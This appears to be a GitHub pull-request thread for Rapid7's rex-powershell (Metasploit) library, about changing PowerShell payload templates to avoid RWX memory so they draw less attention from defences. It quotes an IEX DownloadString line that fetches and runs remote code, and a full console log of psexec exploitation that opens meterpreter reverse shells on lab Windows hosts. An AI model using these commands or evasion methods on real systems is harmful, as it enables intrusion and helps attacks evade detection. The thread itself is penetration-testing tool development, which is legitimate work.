rapid7 / rex-powershell

Rex library for dealing with Powershell Scripts
Other
53 stars 35 forks source link

Upstream W^X powershell payload templates #35

Closed sempervictus closed 3 years ago

sempervictus commented 3 years ago

RWX memory regions are suspicious to defensive mechanisms - especially in processes without a JIT. Convert the .NET and reflection payloads to respect memory permissions by writing into non-executable memory regions, then setting them to be non-writable but executable. This code has been around for some time in the SVIT private fork, "has seen field use" in terms of testing. However, as always with this sort of export to upstream, needs to be properly tested because i may not have exported every dependency.

Since @adfoster-r7 was kind enough to help me debug zeitwerk related nightmares, this is a small "thank you" commit for taking the time and effort to reach out and assist in debugging the forked dependency mess.

Ping @smcintyre-r7 on review - pretty sure this overwrote at least one of your changes.

sempervictus commented 3 years ago

So i cant actually find a flag for PSH to run sans JIT, so at least for now, we would expect RWX allocations in the PSH process itself. However, if spawning hollow threads in separate target processes (dont think thats included upstream as its basically double-staging), this ought to raise fewer eyebrows.

smcintyre-r7 commented 3 years ago

Using Powershell v5.1 on a Windows 10 host, I get the following exception with the reflection template. The other one appears to work just fine on Windows 7 and Windows 10 and the reflection one is working on Windows 7. Taking a closer look to see if I can suggest a change that will fix the compatibility.

IEX ((new-object Net.WebClient).DownloadString('http://192.168.159.128:8080/XnF9PI4cYgDW'));
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:5 char:16
+ ...      return $gRQ1.GetMethod('GetProcAddress').Invoke($null, @([System ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException

Cannot find an overload for "GetDelegateForFunctionPointer" and the argument count: "2".
At line:23 char:1
+ $r6w = [System.Runtime.InteropServices.Marshal]::GetDelegateForFuncti ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodCountCouldNotFindBest

Cannot find an overload for "Copy" and the argument count: "4".
At line:25 char:1
+ [System.Runtime.InteropServices.Marshal]::Copy($lUPR, 0, $r6w, $lUPR. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodCountCouldNotFindBest

Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:5 char:16
+ ...      return $gRQ1.GetMethod('GetProcAddress').Invoke($null, @([System ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException

Cannot find an overload for "GetDelegateForFunctionPointer" and the argument count: "2".
At line:26 char:5
+ if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunction ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodCountCouldNotFindBest

The IEX statement here is extracted from the web_delivery module were the method was specifically set to reflection.

smcintyre-r7 commented 3 years ago

With the proposed change in place I was able to successfully test both templates on both Windows 7 and Windows 10 using Powershell version 2 and 5.1 respectively.

Testing Output Disregard the "in PR 35 code path" line I added to guarantee I was testing the proper gem. ``` msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.159.11 192.168.159.129 RHOSTS => 192.168.159.11 192.168.159.129 msf6 auxiliary(scanner/smb/smb_version) > run [*] 192.168.159.11:445 - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:38m 27s) (guid:{c9f408a3-e959-4285-b0c0-f49b53bd6120}) (authentication domain:WIN-9NSI4A6AIHJ) [+] 192.168.159.11:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN-9NSI4A6AIHJ) (workgroup:WORKGROUP) [*] Scanned 1 of 2 hosts (50% complete) [*] 192.168.159.129:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{84bf20d8-41ce-43ba-a1a0-feac2797856c}) (authentication domain:DESKTOP-R9TM84E) [+] 192.168.159.129:445 - Host is running Windows 10 Enterprise (build:19042) (name:DESKTOP-R9TM84E) (workgroup:WORKGROUP) [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_version) > use exploit/windows/smb/psexec [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.159.11 192.168.159.129 RHOSTS => 192.168.159.11 192.168.159.129 msf6 exploit(windows/smb/psexec) > set Powershell::method reflection Powershell::method => reflection msf6 exploit(windows/smb/psexec) > exploit [*] Exploiting target {:address=>"192.168.159.11", :hostname=>nil} [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.11:445 - Connecting to the server... [*] 192.168.159.11:445 - Authenticating to 192.168.159.11:445 as user 'smcintyre'... [*] 192.168.159.11:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe [*] 192.168.159.11:445 - PowerShell found [*] 192.168.159.11:445 - Selecting PowerShell target in PR 35 code path [*] 192.168.159.11:445 - Powershell command length: 4482 [*] 192.168.159.11:445 - Executing the payload... [*] 192.168.159.11:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.11[\svcctl] ... [*] 192.168.159.11:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.11[\svcctl] ... [*] 192.168.159.11:445 - Obtaining a service manager handle... [*] 192.168.159.11:445 - Creating the service... [+] 192.168.159.11:445 - Successfully created the service [*] 192.168.159.11:445 - Starting the service... [*] Sending stage (200262 bytes) to 192.168.159.11 [+] 192.168.159.11:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.159.11:445 - Removing the service... [+] 192.168.159.11:445 - Successfully removed the service [*] 192.168.159.11:445 - Closing service handle... [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:49164) at 2021-07-19 12:06:40 -0400 [*] Session 1 created in the background. [*] Exploiting target {:address=>"192.168.159.129", :hostname=>nil} [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.129:445 - Connecting to the server... [*] 192.168.159.129:445 - Authenticating to 192.168.159.129:445 as user 'smcintyre'... [*] 192.168.159.129:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe [*] 192.168.159.129:445 - PowerShell found [*] 192.168.159.129:445 - Selecting PowerShell target in PR 35 code path [*] 192.168.159.129:445 - Powershell command length: 4510 [*] 192.168.159.129:445 - Executing the payload... [*] 192.168.159.129:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.129[\svcctl] ... [*] 192.168.159.129:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.129[\svcctl] ... [*] 192.168.159.129:445 - Obtaining a service manager handle... [*] 192.168.159.129:445 - Creating the service... [+] 192.168.159.129:445 - Successfully created the service [*] 192.168.159.129:445 - Starting the service... [+] 192.168.159.129:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.159.129:445 - Removing the service... [+] 192.168.159.129:445 - Successfully removed the service [*] 192.168.159.129:445 - Closing service handle... [*] Sending stage (200262 bytes) to 192.168.159.129 [*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.129:61589) at 2021-07-19 12:06:42 -0400 [*] Session 2 created in the background. msf6 exploit(windows/smb/psexec) > set Powershell::method net Powershell::method => net msf6 exploit(windows/smb/psexec) > exploit [*] Exploiting target {:address=>"192.168.159.11", :hostname=>nil} [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.11:445 - Connecting to the server... [*] 192.168.159.11:445 - Authenticating to 192.168.159.11:445 as user 'smcintyre'... [*] 192.168.159.11:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe [*] 192.168.159.11:445 - PowerShell found [*] 192.168.159.11:445 - Selecting PowerShell target in PR 35 code path [*] 192.168.159.11:445 - Powershell command length: 4333 [*] 192.168.159.11:445 - Executing the payload... [*] 192.168.159.11:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.11[\svcctl] ... [*] 192.168.159.11:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.11[\svcctl] ... [*] 192.168.159.11:445 - Obtaining a service manager handle... [*] 192.168.159.11:445 - Creating the service... [+] 192.168.159.11:445 - Successfully created the service [*] 192.168.159.11:445 - Starting the service... [*] Sending stage (200262 bytes) to 192.168.159.11 [+] 192.168.159.11:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.159.11:445 - Removing the service... [+] 192.168.159.11:445 - Successfully removed the service [*] 192.168.159.11:445 - Closing service handle... [*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.11:49165) at 2021-07-19 12:06:51 -0400 [*] Session 3 created in the background. [*] Exploiting target {:address=>"192.168.159.129", :hostname=>nil} [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.129:445 - Connecting to the server... [*] 192.168.159.129:445 - Authenticating to 192.168.159.129:445 as user 'smcintyre'... [*] 192.168.159.129:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe [*] 192.168.159.129:445 - PowerShell found [*] 192.168.159.129:445 - Selecting PowerShell target in PR 35 code path [*] 192.168.159.129:445 - Powershell command length: 4314 [*] 192.168.159.129:445 - Executing the payload... [*] 192.168.159.129:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.129[\svcctl] ... [*] 192.168.159.129:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.159.129[\svcctl] ... [*] 192.168.159.129:445 - Obtaining a service manager handle... [*] 192.168.159.129:445 - Creating the service... [+] 192.168.159.129:445 - Successfully created the service [*] 192.168.159.129:445 - Starting the service... [+] 192.168.159.129:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.159.129:445 - Removing the service... [+] 192.168.159.129:445 - Successfully removed the service [*] 192.168.159.129:445 - Closing service handle... [*] Sending stage (200262 bytes) to 192.168.159.129 [*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.129:61590) at 2021-07-19 12:06:54 -0400 [*] Session 4 created in the background. msf6 exploit(windows/smb/psexec) > sessions -C sysinfo [*] Running 'sysinfo' on meterpreter session 1 (192.168.159.11) Computer : WIN-9NSI4A6AIHJ OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 0 Meterpreter : x64/windows [*] Running 'sysinfo' on meterpreter session 2 (192.168.159.129) Computer : DESKTOP-R9TM84E OS : Windows 10 (10.0 Build 19042). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows [*] Running 'sysinfo' on meterpreter session 3 (192.168.159.11) Computer : WIN-9NSI4A6AIHJ OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 0 Meterpreter : x64/windows [*] Running 'sysinfo' on meterpreter session 4 (192.168.159.129) Computer : DESKTOP-R9TM84E OS : Windows 10 (10.0 Build 19042). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows msf6 exploit(windows/smb/psexec) > ```
smcintyre-r7 commented 3 years ago

Release Notes

This updates two Powershell templates to use a combination of RW and then executable memory but never RWX. This behavior is less likely to be detected as suspicious.